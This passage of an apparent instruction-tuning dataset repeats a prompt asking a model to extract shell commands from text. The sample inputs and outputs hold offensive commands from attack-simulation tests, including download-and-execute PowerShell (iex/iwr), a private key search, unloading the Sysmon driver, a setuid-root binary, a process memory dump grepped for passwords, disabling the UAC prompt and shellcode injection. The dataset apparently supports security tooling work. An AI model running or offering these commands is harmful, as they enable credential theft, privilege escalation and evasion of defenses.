lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To determine if virtualization is enabled, check if the Model Identifier doesn't include 'Mac' by running this command: if [ \"$(system_profiler SPHardwareDataType | grep \"Model Identifier\" | grep -v 'Mac')\" != \"\" ]; then echo 'Virtualization Environment detected'; fi;",
    "output": "{\"command_list\": [\"if [ \\\"$(system_profiler SPHardwareDataType | grep \\\"Model Identifier\\\" | grep -v 'Mac')\\\" != \\\"\\\" ]; then echo 'Virtualization Environment detected'; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Search for private key files across the Windows file system, including extensions such as .ppk, .p12, and .pem, by executing this command: dir c:\\ /b /s .key | findstr /e .key",
    "output": "{\"command_list\": [\"dir c:\\\\ /b /s .key | findstr /e .key\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For local shellcode execution via NtQueueAPCThreadEx, including memory allocation and permission changes, use this executable: $PathToAtomicsFolder\\T1055.004\\bin\\x64\\NtQueueApcThreadEx.exe -debug",
    "output": "{\"command_list\": [\"$PathToAtomicsFolder\\\\T1055.004\\\\bin\\\\x64\\\\NtQueueApcThreadEx.exe -debug\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Sysmon filter driver can be unloaded without stopping the service by executing this command: fltmc.exe unload #{sysmon_driver}",
    "output": "{\"command_list\": [\"fltmc.exe unload #{sysmon_driver}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves copying a payload to a C file, changing ownership, and adjusting permissions with this command sequence: cp #{payload} /tmp/hello.c\nsudo chown root /tmp/hello.c\nsudo make /tmp/hello\nsudo chown root /tmp/hello\nsudo chmod u+s /tmp/hello\n/tmp/hello",
    "output": "{\"command_list\": [\"cp #{payload} /tmp/hello.c\\nsudo chown root /tmp/hello.c\\nsudo make /tmp/hello\\nsudo chown root /tmp/hello\\nsudo chmod u+s /tmp/hello\\n/tmp/hello\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For memory extraction from a target process via /proc/$PID/mem, execute this multi-step command: sh #{script_path}\nPID=$(pgrep -n -f \"#{pid_term}\")\nMEM_START=$(head -n 5 /proc/\"${PID}\"/map | tail -1 | cut -d' ' -f1)\nMEM_STOP=$(head -n 5 /proc/\"${PID}\"/map | tail -1 | cut -d' ' -f2)\nMEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))\ndd if=/proc/\"${PID}\"/mem of=\"#{output_file}\" ibs=1 skip=\"$MEM_START\" count=\"$MEM_SIZE\"\nstrings \"#{output_file}\" | grep -i PASS\n",
    "output": "{\"command_list\": [\"sh #{script_path}\\nPID=$(pgrep -n -f \\\"#{pid_term}\\\")\\nMEM_START=$(head -n 5 /proc/\\\"${PID}\\\"/map | tail -1 | cut -d' ' -f1)\\nMEM_STOP=$(head -n 5 /proc/\\\"${PID}\\\"/map | tail -1 | cut -d' ' -f2)\\nMEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))\\ndd if=/proc/\\\"${PID}\\\"/mem of=\\\"#{output_file}\\\" ibs=1 skip=\\\"$MEM_START\\\" count=\\\"$MEM_SIZE\\\"\\nstrings \\\"#{output_file}\\\" | grep -i PASS\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For systems where you want to disable UAC's secure desktop prompt, execute this registry modification command: Set-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force",
    "output": "{\"command_list\": [\"Set-ItemProperty HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System -Name PromptOnSecureDesktop -Value 0 -Type Dword -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For injecting shellcode into a process, especially when using Metasploit-generated shellcode on Windows 10 x86-64 systems, execute the following: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"#{txt_path}\" -officeProduct \"Word\" -sub \"Execute\"",
